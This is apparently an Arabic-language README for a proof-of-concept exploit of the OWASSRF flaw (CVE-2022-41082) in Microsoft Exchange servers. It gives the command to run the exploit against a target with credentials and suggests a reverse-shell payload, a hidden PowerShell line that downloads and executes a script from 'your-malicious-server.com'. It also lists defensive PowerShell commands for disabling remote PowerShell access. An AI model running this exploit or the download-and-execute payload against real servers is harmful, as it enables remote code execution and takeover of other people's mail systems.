
CVE-2022-41082-poc
يحتوي هذا المستودع على أداة إثبات المفهوم (PoC) لاستغلال ثغرة OWASSRF (CVE-2022-41082) في خوادم Microsoft Exchange. يسمح هذا الاستغلال للمهاجمين بتنفيذ أوامر عشوائية على الخادم، مما قد يهدد سلامة النظام.
تستفيد الأداة من ثغرة OWASSRF لتجاوز المصادقة والحصول على تنفيذ التعليمات البرمجية عن بُعد (RCE) على خادم Exchange. من خلال استغلال هذه الثغرة، يمكن للمهاجم تنفيذ الأوامر كما لو كان مستخدمًا مصرحًا له، مما يؤدي إلى عواقب أمنية خطيرة.
عند استخدام هذه الأداة، يرجى التأكد من إبقاء نفس جلسة Exchange Management Shell مفتوحة. من الضروري تمكين الوصول عن بُعد لـ PowerShell لمستخدم واحد على الأقل بعد تعطيله للآخرين. وإلا، قد تفقد الوصول إلى Management Shell على جميع خوادم Exchange.
فيما يلي بعض أوامر PowerShell المفيدة للتحقق من ومن يملك الوصول وإدارته:
لمعرفة المستخدمين الذين لديهم وصول عن بُعد لـ PowerShell والذين ليس لديهم، قم بتشغيل:
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $false'
تحذير: كن حذرًا من إغلاق نافذة Exchange Management Shell ما لم تقم بإضافة مستخدم واحد على الأقل مرة أخرى.
يمكنك تعطيل وصول PowerShell لجميع المستخدمين باستخدام الأوامر التالية:
$user = Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
$user | foreach {Set-User -Identity $_ -RemotePowerShellEnabled $false}
أو استخدم أمرًا واحدًا لتحقيق نفس النتيجة:
Get-User -ResultSize Unlimited | Set-User -RemotePowerShellEnabled $false
لمنح وصول عن بُعد لـ PowerShell لمستخدم محدد، قم بتشغيل:
Set-User "guest" -RemotePowerShellEnabled $true
إذا فقدت وصول PowerShell لجميع المستخدمين، يمكنك إنشاء مستخدم صندوق بريد جديد بصلاحيات المسؤول. سيتجاوز هذا المستخدم الجديد السياسات المطبقة، مما يسمح لك باستخدام Exchange Management Shell مرة أخرى.
pip إذا لزم الأمر)لتنفيذ أداة إثبات المفهوم، قم بتشغيل الأمر التالي:
python3 poc.py -H <target_IP> -u <username> -p <password> -c <command_file>
استبدل <target_IP> و <username> و <password> و <command_file> بالقيم الخاصة بك.
يمكنك تعديل الأمر في cmd_file ليشمل حمولة قذيفة عكسية. على سبيل المثال:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://your-malicious-server.com/reverse.ps1')"
سيقوم هذا الأمر بتنزيل وتنفيذ سكريبت PowerShell من خادمك، مما يمنحك قذيفة عكسية.
لمزيد من المعلومات حول ثغرة OWASSRF وكود إثبات المفهوم، قم بزيارة الرابط التالي: OWASSRF CVE-2022-41082 PoC و https://www.youtube.com/watch?v=c2DZYP6jc7g